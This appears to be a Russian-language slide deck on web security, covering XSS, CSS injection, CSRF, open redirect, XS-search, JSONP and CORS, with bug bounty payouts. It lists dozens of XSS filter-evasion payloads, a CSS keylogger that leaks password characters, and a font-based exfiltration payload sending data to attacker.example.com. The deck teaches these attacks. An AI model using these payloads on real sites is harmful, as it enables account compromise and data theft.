Web Security

Словарик

– Вектор атаки

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
...

– Эксплоит

Bug bounty

hackerone.com/vkcom

Ликбез

XSS

(Cross-Site Scripting)

Последствия

alert(/xss/)

Self-XSS

Reflected XSS

500$

Stored XSS

1000$

Активная/Пассивная

Защита

Доклад про XSS в React

Статистика по XSS

CSS-инъекция

CSS-keylogger

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }
input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); }
input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); }
input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); }

Font-logger

<style>
@font-face{
font-family: poc;
src: url(https://attacker.example.com/?A);
unicode-range:U+0041;
}
@font-face{
font-family: poc;
src: url(https://attacker.example.com/?B);
unicode-range:U+0042;
}
…
#sensitive-information{
font-family: poc;
}
</style>

CSRF

(Cross-Site Request Forgery)

300$

Последствия CSRF

CSRF-токен

hash(user_id + secret + time), 
user_id, 
time

Open Redirect

100$

Практика

window.opener

XS-search

Главные герои

+

Хороший, плохой и

JSONP

JSONP-запрос

location.hostname
// Для chrome < 42 версии
location.__defineGetter__('hostname', function () {
    return 'a.com';
});
location.href

Web Worker

AJAX + CORS

Access-Control-Allow-Origin: https://a.com
Vary: Origin

Конец

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